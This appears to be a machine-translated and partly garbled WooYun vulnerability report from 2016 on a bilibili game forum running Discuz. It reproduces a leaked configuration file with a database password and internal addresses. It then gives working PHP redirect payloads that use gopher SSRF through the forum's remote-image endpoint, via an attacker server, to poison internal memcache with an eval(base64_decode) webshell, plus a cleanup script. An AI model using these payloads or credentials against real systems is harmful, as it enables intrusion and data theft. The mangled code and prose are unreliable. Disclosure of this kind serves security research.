bilibili某分站从信息泄露到ssrf再到命令执行

漏洞标题 bilibili某分站从信息泄露到ssrf再到命令执行 相关厂商 bilibili.com 漏洞作者 Jannock 提交时间 2016-05-30 08:38 公开时间 2016-06-2…

漏洞标题 bilibili的一个变电站将信息泄露给ssrf然后执行 相关制造商 Bilibili.com 漏洞作者 Jannock 提交时间 2016-05-30 08: 38 公共时间 2016-06-27 18: 00 漏洞类型 命令执行 危险等级 高 自我评估等级 20 漏洞状态 制造商已修复 标签标签 远程代码执行 漏洞详细信息 如果更好地利用redis,这只是memcache的一个例子 0x00前言 扫描程序经常扫描信息泄漏,例如discuz配置文件/config/config_global.php~ 它通常带有数据库密码等,但它受到内部网的困扰,这非常令人尴尬。 0x01案例分析 以bilibili为例 http://bbs.biligame.com/config/config_global.php~

< PHP $ _config=array(); //---------------------------- CONFIG DB ------------------ ----------- // $ _config ['db'] ['1'] ['dbhost']='192.168.10.10'; $ _config ['db'] ['1'] ['dbuser']='gamebbs'; $ _config ['db'] ['1'] ['dbpw']='HdUbOY2YCAoKi3U0'; $ _config ['db'] ['1'] ['dbcharset']='utf8'; $ _config ['db'] ['1'] ['pconnect']='0'; //这是禁止修改的! $ _config ['db'] ['1'] ['dbname']='gamebbs'; $ _config ['db'] ['1'] ['tablepre']='bbs_'; $ _config ['db'] ['slave']=''; $ _config ['db'] ['common'] ['slave_except_table']=''; //-------------------------- CONFIG MEMORY -------------------- ------- // $ _config ['memory'] ['prefix']='NTOSSw_'; $ _config ['memory'] ['redis'] ['server']=''; $ _config ['memory'] ['redis'] ['port']=6379; $ _config ['memory'] ['redis'] ['pconnect']=1; $ _config ['memory'] ['redis'] ['timeout']='0'; $ _config ['memory'] ['redis'] ['requirepass']=''; $ _config ['memory'] ['redis'] ['serializer']=1; $ _config ['memory'] ['memcache'] ['server']='192.168.10.12'; $ _config ['memory'] ['memcache'] ['port']=11211; $ _config ['memory'] ['memcache'] ['pconnect']=1; $ _config ['memory'] ['memcache'] ['timeout']=1; $ _config ['memory'] ['apc']=0; $ _config ['memory'] ['xcache']=0; $ _config ['memory'] ['eaccelerator']=0; $ _config ['memory'] ['wincache']=0; 注意到使用memcache 如果您注意到vBulletin rcehttp://drops.wooyun.org/papers/8261, 我相信我被这个漏洞的聪明所吸引。 那么,这个discuz是否有相同的漏洞? 所以寻找调用缓存的地方 \源\功能\ function_core.php 函数output_replace($ content){ 全球$ _G; 如果(定义('IN_MODCP')|| defined('IN_ADMINCP'))返回$ content; 如果(!空($ _ G ['setting'] ['output'] ['str'] ['search'])){ 如果(空($ _ G ['setting'] ['domain'] ['app'] ['default'])){ $ _G ['setting'] ['output'] ['str'] ['replace']=str_replace('{CURHOST}',$ _G ['siteurl'],$ _G ['setting'] ['output' ] [ 'STR'] [ '替换']); } $ content=str_replace($ _ G ['setting'] ['output'] ['str'] ['search'],$ _ G ['setting'] ['output'] ['str'] ['replace'] ,$ content); } 如果(!空($ _ G ['setting'] ['output'] ['preg'] ['search'])&&(空($ _ G ['setting'] ['rewriteguest'])||空($ _ G ['uid']))){ 如果(空($ _ G ['setting'] ['domain'] ['app'] ['default'])){ $ _G ['setting'] ['output'] ['preg'] ['search']=str_replace('\ {CURHOST \}',preg_quote($ _ G ['siteurl'],'/'),$ _G [ '设置'] [ '输出'] [ '预浸'] [ '搜索']); $ _G ['setting'] ['output'] ['preg'] ['replace']=str_replace('{CURHOST}',$ _ G ['siteurl'],$ _G ['setting'] ['output' ] [ '预浸'] [ '替换']); } $ content=preg_replace($ _ G ['setting'] ['output'] ['preg'] ['search'],$ _ G ['setting'] ['output'] ['preg'] ['replace'] ,$ content); } 返回$ content; } 我找到了一个地方。 这里$ _G ['setting'] ['output'] ['preg'] ['search']和$ _G ['setting'] ['output'] ['preg'] ['replace']直接调用缓存中的数据。 此外,discuz的ssrf在许多地方,官方估计也难以解决。 WooYun:讨论!另一个SSRF无需无条件登录 所以测试,实际上发现服务器支持gohper协议。 我们来谈谈使用过程。如有必要,将在稍后向官员提交有关discuz漏洞的详细分析。 漏洞证明: 0x02漏洞利用 使用转发代码进行测试 < PHP 标题('位置: gopher: //自己的服务器: 80/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa: 2: {s: 6:'output'; a: 1: {s: 4:'preg ';一个: 2: {s: 6:'搜索'; s: 5:'/.*/e';s: 7:'replace'; s: 33:'eval(base64_decode($ _ POST [ccc]) );';}} s: 13:'writentstatus'; i: 1;}%0d%0a'); ?> 测试返回如下所示

一切准备就绪,行动 首先准备两个页面,以便在编写shell后进行恢复。 Wshell.php < PHP 标题('位置: gopher: //192.168.10.12: 11211/_%0d%0aset NTOSSw_setting 1 0 147%0d%0aa: 2: {s: 6:'output'; a: 1: {s: 4:' Preg'; a: 2: {s: 6:'search'; s: 5:'/.*/e';s: 7:'replace'; s: 33:'eval(base64_decode($ _ POST [ccc] ));';}} s: 13:' rewritestatus'; i: 1;}%0d%0a'); ?> Cls.php < PHP 标题('位置: gopher: //192.168.10.12: 11211/_%0d%0adelete NTOSSw_setting%0d%0a'); ?> 请求 http://bbs.biligame.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://myserver/wshell.php?logo.jpg [/img] 完成后立即请求shell地址 Failure when receiving data from the peer